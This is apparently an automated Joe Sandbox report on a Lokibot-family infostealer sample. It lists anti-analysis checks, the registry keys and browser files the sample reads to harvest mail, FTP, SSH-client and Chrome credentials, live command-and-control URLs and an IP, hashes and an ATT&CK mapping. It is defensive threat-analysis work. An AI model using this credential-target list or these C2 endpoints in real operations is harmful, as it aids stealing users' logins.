Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_00401000

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe TID: 5228	Thread sleep count: 200 > 30
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe TID: 5228	Thread sleep time: -12000000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_00401000

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_004B07DA GetSystemInfo,

Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_0040699E FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_0040290B FindFirstFileW,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040756A _free,_free,FindFirstFileExW,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040761E FindFirstFileExW,FindNextFileW,FindClose,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Thread delayed: delay time: 60000

Source: C:\Users\user\Desktop\zlP981oop5.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_00401846 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_00404C25 GetProcessHeap,

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004024C4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_00406682 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B005F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B017B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B0109 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B013E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_0040317B mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040183A SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_00401846 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_00405CCC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_00401D3D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\gblqfiy.exe protection: execute and read and write

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Process created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_00401A55 cpuid

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 1_2_0040171D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\zlP981oop5.exe

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 3_2_00406069 GetUserNameW,

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gblqfiy.exe PID: 5172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gblqfiy.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.513357933.0000000000658000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: PopPassword
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: SmtpPassword

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	1 Access Token Manipulation	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	111 Process Injection	11 Virtualization/Sandbox Evasion	2 Credentials in Registry	23 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	111 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	17 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
zlP981oop5.exe	31%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\gblqfiy.exe	30%	Virustotal		Browse
C:\Users\user\AppData\Roaming\C79A3B\B52B3F.exe (copy)	30%	Virustotal		Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.gblqfiy.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.gblqfiy.exe.a00000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.gblqfiy.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://171.22.30.147/kelly/five/fre.php	14%	Virustotal		Browse
http://171.22.30.147/kelly/five/fre.php	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
http://171.22.30.147/kelly/five/fre.php	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_ErrorError	zlP981oop5.exe	false		high
http://www.ibsensoftware.com/	gblqfiy.exe, gblqfiy.exe, 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, gblqfiy.exe, 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
171.22.30.147	unknown	Germany		33657	CMCSUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	778229
Start date and time:	2023-01-05 08:51:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	zlP981oop5.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/7@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
HTTP Packets have been reduced
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 209.197.3.8
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:52:07	API Interceptor	382x Sleep call for process: gblqfiy.exe modified

Process:	C:\Users\user\Desktop\zlP981oop5.exe
File Type:	data
Category:	dropped
Size (bytes):	127354
Entropy (8bit):	7.970882602293968
Encrypted:	false
SSDEEP:	3072:rwKMZ6eLmyxP6pqtf5BAEQxo32+V5zmNeYGk:rwN/56u5BAj+3zm9V
MD5:	79E30F0557DB22BC1AE0D215A205520B
SHA1:	827CB50CD01A40718412D4171FA13054FE6C1101
SHA-256:	55CB5044F643B72ABCF4EE7751C23CA4D7CEA36E309EF7CE54ABBB961B5CC80D
SHA-512:	8D905E062C78BBAE428F0F322EB1D06D8F082200C94A41C2511CF96F133990D8567F36444856FD0BAB9864A94C604905CF52CF8B1E8EDE6D87565B8F394C157C
Malicious:	false
Reputation:	low
Preview:	:\|....6.}...B..A.)C.Xa:"..C!..iZ.).....hOF.+..P......O..1P.i...C\|?5...y...:......JW...Ls.....c...g-.x..N5..Z.'e....3.-.w.,.TcsR+..G.t..=.u.......Rd@..k.."f#..lsh(....i......}..I\..oJ..4..Q.23.yI.-...n.^.ncZQT.... .....g.A].0.`..8....owbz.2H..\.....1.E..P:...)C.Xa..J.C...i.)....PhOF.+..PQ.....V..1..i..WZ$?../9.d.5..;SX2j...C..u?....n.F7M.3bW{.c.6Uv..N...]..3.-.w....3.c..h~o7..........=.....7.$E...R.I...j.'...0\r.c.m.......>..t.h..V.n3x\I.....zT...%.g>.)Y..}..3..A.x90.`.....@,o....2...\....6..}...wB.$0..}Xa....C.h.i..).....hOF.+..P..9...N...a.i.5..$?.../J.d.J..;S.2j-...C.S..n..n.87M.3/W{.c}6......]..3.-.w....3....h~o7..........=.....7.$E...R.I...j.'...0\r.c.m.......>..t.h...n$x\I.....zT...%.g>.)Y..}..3.g.A].0.`.8...,o....2H..\....6..}...wB..A.)C.Xa,"..C!..iZ.).....hOF.+..P......O..1..i..^.$?[./9.d.5..;S.2j-...C.u.....n.87M.3bW{.c.6.r.....]..3.-.w....3.c..h~o7..........=.....7.$E...R.I...j.'...0\r.c.m.......>..t.h...n$x\I.....zT...%.g>.)Y..}..3.

C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Download File

Process:	C:\Users\user\Desktop\zlP981oop5.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	6.174185361455216
Encrypted:	false
SSDEEP:	1536:hfVo/O++LezMxj8gkJF/5U0X+OXxacX+gYm3dFQ1iY2gpczMisubmfsrH:MJ+LezMhPg5oOXxacX+M3dFQ1iYVALFZ
MD5:	B51AF47CC81518E4CF1128FBBEAE5877
SHA1:	1F042C2F7EE5E516545A818C8C74F6CD5E1C1040
SHA-256:	7E350F4D1E64DC3683DC1AA446151C3C0F4C5F8921063AE48D5ABC20C26E4D35
SHA-512:	B75703EBC171B7EEB42DC4DF8C1E885DBC3DADF4059B01590C1A311A0484B626088087DFAC5E3A144096C00BAB1A774961D6B1BD764EDB891D1A62769A7055E4
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 30%, Browse
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......c.....................n......w.............@..........................................................................>.......................................=...............................................A...............................text...U........................... ..`.rdata...`.......b..................@..@.data........`.......B..............@....00cfg...............L..............@..@.voltbl..............N..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsk2BAD.tmp

Download File

Process:	C:\Users\user\Desktop\zlP981oop5.exe
File Type:	data
Category:	dropped
Size (bytes):	237612
Entropy (8bit):	7.277706725265449
Encrypted:	false
SSDEEP:	3072:1ewKMZ6eLmyxP6pqtf5BAEQxo32+V5zmNeYGAQK1cbJ+LezMhPg5oOXxacX+M3dN:gwN/56u5BAj+3zm9VQK18+y0PvcL6
MD5:	9157E34343EC40870397A2806EC00D77
SHA1:	13CCA70D20FEB7FB08F9486AAE13340131100DFC
SHA-256:	3FECF6DBCF1ECBC83E84AABDFC8780E8412D07672E07D3F50AFFB1A770B1D2A0
SHA-512:	FBF40B00A0EBAEECFB1FB133C8179A2BE22B94BD5CF5ED49FF2A8560F156D559D3F6DA144F523156DAF2614DC055A799369E4534DB88FC64E76F1AB82E61BAA2
Malicious:	false
Reputation:	low
Preview:	.H......,......................../......$G.......G..............................................................................a...........................................................................................................................................................G...................j...........................................................................................................................................y...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rznkfgz.rq

Download File

Process:	C:\Users\user\Desktop\zlP981oop5.exe
File Type:	data
Category:	dropped
Size (bytes):	5784
Entropy (8bit):	7.15339400978258
Encrypted:	false
SSDEEP:	96:Farc6oY5g/DrYuFZk2XO5oSwYdKSi1VwTYd4doFdkOAMiOaTJATS4zw1OlH1l9I:FarcRNNZhX1S95cyEQon1A/FmTS4zw1h
MD5:	B2035FE0B3EFF6F12189D9B0BF82D01A
SHA1:	B4A16B1336C99FF4A3C9C77E9787E32821AFA2C7
SHA-256:	66B85757FD06F3231E05E2D1CD2F32B244DD1A9B71CD816158268A4AF2597A5B
SHA-512:	D73CA7A57DB5D09F08D809F5020B374E6EF651AF68C02ED9E7DC9BB57E75CD910112685093DFAFDA80B641B9F37FF9E392F2709912B803EF46D52D6C881264FE
Malicious:	false
Reputation:	low
Preview:	.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.\|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.\|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1\|..x.q.>.t&.u.\|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	6.174185361455216
Encrypted:	false
SSDEEP:	1536:hfVo/O++LezMxj8gkJF/5U0X+OXxacX+gYm3dFQ1iY2gpczMisubmfsrH:MJ+LezMhPg5oOXxacX+M3dFQ1iYVALFZ
MD5:	B51AF47CC81518E4CF1128FBBEAE5877
SHA1:	1F042C2F7EE5E516545A818C8C74F6CD5E1C1040
SHA-256:	7E350F4D1E64DC3683DC1AA446151C3C0F4C5F8921063AE48D5ABC20C26E4D35
SHA-512:	B75703EBC171B7EEB42DC4DF8C1E885DBC3DADF4059B01590C1A311A0484B626088087DFAC5E3A144096C00BAB1A774961D6B1BD764EDB891D1A62769A7055E4
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 30%, Browse
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......c.....................n......w.............@..........................................................................>.......................................=...............................................A...............................text...U........................... ..`.rdata...`.......b..................@..@.data........`.......B..............@....00cfg...............L..............@..@.voltbl..............N..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck

Download File

Process:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\gblqfiy.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D898504A722BFF1524134C6AB6A5EAA5
SHA1:	E0FDC90C2CA2A0219C99D2758E68C18875A3E11E
SHA-256:	878F32F76B159494F5A39F9321616C6068CDB82E88DF89BCC739BBC1EA78E1F9
SHA-512:	26A4398BFFB0C0AEF9A6EC53CD3367A2D0ABF2F70097F711BBBF1E9E32FD9F1A72121691BB6A39EEB55D596EDD527934E541B4DEFB3B1426B1D1A6429804DC61
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.964065154966355
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zlP981oop5.exe
File size:	412163
MD5:	29296ef70f898c80b0dafee4e1ca5998
SHA1:	adc3d1cd691332135cf391371cb1fa8ea2d4d4e7
SHA256:	9b177dcbfca54547e5463b68394e110cf7ae94aadadfb71e574d7dbd400b606b
SHA512:	3dc38b8938572ce716897f050dd48e599e8e713728706eea688b8ff2b32731c798c42d9e6d1fefa9eb397a819268e92479425707f2f5d9c8e69cd7eda44c7f8c
SSDEEP:	12288:aY9aK69OtwMSnLAzYY7i/qrWNjHDEtxXzDgLinrn:aY9ZRwJn2YWi/sWrD43gLinrn
TLSH:	C794027935A0D4A2DC2A0EB119B9C1D14E717C366C69828B3782FBAF7F71590D21B39C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

File Icon


Icon Hash:	d8cce4e4e4eee470

Static PE Info

General

Entrypoint:	0x403640
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
